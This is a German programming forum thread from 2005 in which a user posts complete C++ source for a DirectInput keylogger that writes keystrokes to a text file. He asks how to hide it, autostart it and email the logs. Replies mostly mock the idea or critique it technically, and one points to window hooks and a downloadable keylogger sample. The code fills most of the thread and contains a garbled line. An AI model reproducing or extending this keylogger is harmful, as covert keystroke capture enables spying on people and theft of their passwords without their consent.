Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » C / C++ (WinAPI, Konsole) » Keylogger

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 < [ 2 ]
000
12.09.2005, 20:11 Uhr
mauralix



Hallo Leute!!!

Ich will heute mal zeigen wie einfach eigentlich die Funktionsweise eines Keyloggers (Programm mit dem man alle Tastenschläge aufzeichnen kann) zu realisieren ist.
Ich verwendete DirectInput.

Ich stellte es trotzdem in das WinApi-Forum weil...

-DirectX und WinApi sowieso zusammenhängen
-Das DirectX-Forum dieser Seite nicht gut besucht ist
-man Keylogger glaub ich mal eher mit WinApi macht
-auf andere Lösungen interessiert bin

Wie man sieht ist das nur der Basis - Code

Besonders stört mich das das Programm beendet werden muss um eine Datei zu schreiben.
Außerdem sollte das Programm möglichst versteckt sein und von alleine starten.
Es würde mich sowieso interessieren wie ich ein Programm in den Autostart bekomme.

Hier der Code...


C++:
//////////////////////////////////////////////////////////
// Möchtegern Keylogger von mauralix   ///////////////////
// 12.9.2005 15:36 ///////////////////////////////////////
//////////////////////////////////////////////////////////

// Includes
#include <dinput.h>
#include <stdio.h>

// Libs
#pragma comment(lib,"dxguid.lib")
#pragma comment(lib,"dinput8.lib")

//Makros
#define RELEASE(x){if(x!=NULL){x->Release();x=NULL;}}
#define UNACQUIRE_AND_RELEASE(x){if(x!=NULL){x->Unacquire();x->Release();x=NULL;}}

//Prototypen
LRESULT CALLBACK WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam);
void InitKeyboard(HWND hWnd,HINSTANCE hInstance);
void ProcessInput(HWND hWnd);
int KeyState(int key);
void CleanUp(void);

//Globals
bool bKeyboard[256];
FILE *file=fopen("datei.txt","a+");
LPDIRECTINPUTDEVICE8 lpDIKeyboard=NULL;
LPDIRECTINPUT8 lpDI=NULL;

//------------------ Main --------------------------------------------
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine,int nShowCmd){

WNDCLASSEX wc;

wc.cbClsExtra=0;
wc.cbSize=sizeof(wc);
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)(COLOR_WINDOW);
wc.hCursor=0;
wc.hIcon=0;
wc.hIconSm=0;
wc.hInstance=hInstance;
wc.lpfnWndProc=WndProc;
wc.lpszClassName="DI";
wc.lpszMenuName=NULL;
wc.style=CS_HREDRAW|CS_VREDRAW|CS_OWNDC;

RegisterClassEx(&wc);

HWND hWnd=CreateWindowEx(NULL,"DI","Direct Input",WS_OVERLAPPEDWINDOW,100,100,640,480,
                         NULL,NULL,hInstance,NULL);

ShowWindow(hWnd,SW_SHOW);


InitKeyboard(hWnd,hInstance);

MSG msg={0};

while(msg.message!=WM_QUIT){

    if(PeekMessage(&msg,0,0,0,PM_REMOVE)){

        TranslateMessage(&msg);
        DispatchMessage(&msg);

    }
    else{

        ProcessInput(hWnd);

    }
}

UnregisterClass("DI",hInstance);
CleanUp();

return 0;
}
//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam){

    switch(msg){

    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    case WM_KEYDOWN:
        switch(wParam){

        case VK_ESCAPE:
            PostQuitMessage(0);
            break;
        }
        break;
    }

return DefWindowProc(hWnd,msg,wParam,lParam);
}

void InitKeyboard(HWND hWnd,HINSTANCE hInstance){



    DirectInput8Create(hInstance,DIRECTINPUT_VERSION,
        IID_IDirectInput8,(LPVOID*)&lpDI,NULL);



lpDI->CreateDevice(GUID_SysKeyboard,&lpDIKeyboard,NULL);

lpDIKeyboard->SetDataFormat(&c_dfDIKeyboard);

lpDIKeyboard->SetCooperativeLevel(hWnd,DISCL_BACKGROUND|DISCL_NONEXCLUSIVE);

lpDIKeyboard->Acquire();

}

void ProcessInput(HWND hWnd){

    if(FAILED((lpDIKeyboard->GetDeviceState(sizeof(bKeyboard),(LPVOID*)&bKeyboard)))){

        lpDIKeyboard->Acquire();
    }

    if(KeyState(DIK_A)==2) fprintf(file,"a");
    if(KeyState(DIK_B)==2) fprintf(file,"b");
    if(KeyState(DIK_C)==2) fprintf(file,"c");
    if(KeyState(DIK_D)==2) fprintf(file,"d");
    if(KeyState(DIK_E)==2) fprintf(file,"e");
    if(KeyState(DIK_F)==2) fprintf(file,"f");
    if(KeyState(DIK_G)==2) fprintf(file,"g");
    if(KeyState(DIK_H)==2) fprintf(file,"h");
    if(KeyState(DIK_I)==2) fprintf(file,"i");
    if(KeyState(DIK_J)==2) fprintf(file,"j");
    if(KeyState(DIK_K)==2) fprintf(file,"k");
    if(KeyState(DIK_L)==2) fprintf(file,"l");
    if(KeyState(DIK_M)==2) fprintf(file,"m");
    if(KeyState(DIK_N)==2) fprintf(file,"n");
    if(KeyState(DIK_O)==2) fprintf(file,"o");
    if(KeyState(DIK_P)==2) fprintf(file,"p");
    if(KeyState(DIK_Q)==2) fprintf(file,"q");
    if(KeyState(DIK_R)==2) fprintf(file,"r");
    if(KeyState(DIK_S)==2) fprintf(file,"s");
    if(KeyState(DIK_T)==2) fprintf(file,"t");
    if(KeyState(DIK_U)==2) fprintf(file,"u");
    if(KeyState(DIK_V)==2) fprintf(file,"v");
    if(KeyState(DIK_W)==2) fprintf(file,"w");
    if(KeyState(DIK_X)==2) fprintf(file,"x");
    i    f(KeyState(DIK_Z)==2) fprintf(file,"y");
    if(KeyState(DIK_Y)==2) fprintf(file,"z");
    if(KeyState(DIK_0)==2) fprintf(file,"0");
    if(KeyState(DIK_1)==2) fprintf(file,"1");
    if(KeyState(DIK_2)==2) fprintf(file,"2");
    if(KeyState(DIK_3)==2) fprintf(file,"3");
    if(KeyState(DIK_4)==2) fprintf(file,"4");
    if(KeyState(DIK_5)==2) fprintf(file,"5");
    if(KeyState(DIK_6)==2) fprintf(file,"6");
    if(KeyState(DIK_7)==2) fprintf(file,"7");
    if(KeyState(DIK_8)==2) fprintf(file,"8");
    if(KeyState(DIK_9)==2) fprintf(file,"9");
}

int KeyState(int key){

//Rückgabewerte: 0=normal 1=gedrückt 2=losgelassen

    static bool keystate[256];

    if(keystate[key]){

        if(!bKeyboard[key]){
            keystate[key]=false;
            return 2;
        }
    }

    if(bKeyboard[key]){

        if(keystate[key])
        return 1;
        else keystate[key]=true;
    }

return 0;
}

void CleanUp(void){

    RELEASE(lpDI);
    UNACQUIRE_AND_RELEASE(lpDIKeyboard);
    fclose(file);
}




Wie man sieht sind das auch nicht alle Tasten aber man kann ja noch weitere gleich einfach hinzufügen.
Dan zeigt mal wie mans besser macht was noch zu bemängeln ist und baut die noch nicht vorhandenen oben genannten Features ein. Vielleicht schafft es einer ja sogar noch die Tasteneingaben per E-mail zu versenden um einen besonders flexiblen Keylogger zu bauen.
--
nur olfaktorisch fassbar....
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
12.09.2005, 20:14 Uhr
mauralix



bitte entfernen wurde versehenerweise 2mal erstellt
--
nur olfaktorisch fassbar....
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
12.09.2005, 21:10 Uhr
Guybrush Threepwood
Gefürchteter Pirat
(Operator)


Na das ist doch mal ein sinnvoller Thread (gabs hier nicht nen "Achtung Ironie" Smilie?)

Wenn wir schon dabei sind könnten wir ja auch noch eine Funktion zur automatischen Verteilung per EMail einbauen und einen Schutz gegen Löschung...


Mal davon abgesehen find ich das Program ziemlich schlecht, nicht nur weil sowas mit DirectX zu machen IMHO schwachsinn ist.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
003
12.09.2005, 22:23 Uhr
Spacelord
Hoffnungsloser Fall



Zitat von Guybrush Threepwood:
Na das ist doch mal ein sinnvoller Thread (gabs hier nicht nen "Achtung Ironie" Smilie?)

Wenn wir schon dabei sind könnten wir ja auch noch eine Funktion zur automatischen Verteilung per EMail einbauen und einen Schutz gegen Löschung...


Mal davon abgesehen find ich das Program ziemlich schlecht, nicht nur weil sowas mit DirectX zu machen IMHO schwachsinn ist.





MfG Spacelord
--
.....Ich mach jetzt nämlich mein Jodeldiplom.Dann hab ich endlich was Eigenes.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
004
13.09.2005, 09:59 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


schau dir mal das Keylogger-Beispiel (!) in den Downloads an, das funktioniert auch ohne DirectX (normal benutzt man dafür sog. WindowHooks, d.h eine Funktion die z.b immer bei einem Tastendruck aufgerufen wird, egal welches programm den fokus hat)
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
005
13.09.2005, 11:06 Uhr
Airdamn



...außerdem wird nur a-z und 0-9 abgefangen aber andere Zeichen, F-Tasten usw. nicht. Es ist aber wichtig zu wissen, ob ALT, SHIFT, CTRL etc. mitgedrückt.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
006
13.09.2005, 11:59 Uhr
ao

(Operator)



Zitat von mauralix:
Dan zeigt mal wie mans besser macht was noch zu bemängeln ist ... die Tasteneingaben per E-mail zu versenden

Am besten noch das Mikrofon und die Webcam anzapfen. Schönen Gruß von Big Brother.

ao
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
007
13.09.2005, 16:36 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


Viel spass beim mailbomben pro tastendruck ne mail wär etwas übel dann wär dieser post hier schon über 150 mails
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
008
14.09.2005, 19:04 Uhr
mauralix



vielleicht ne mail in gewissen Zeit abständen hab ich gemeint
--
nur olfaktorisch fassbar....
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
009
27.10.2005, 20:57 Uhr
~4312
Gast


>>>schau dir mal das Keylogger-Beispiel (!) in den Downloads an,
wo find ich das genau?
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 < [ 2 ]     [ C / C++ (WinAPI, Konsole) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: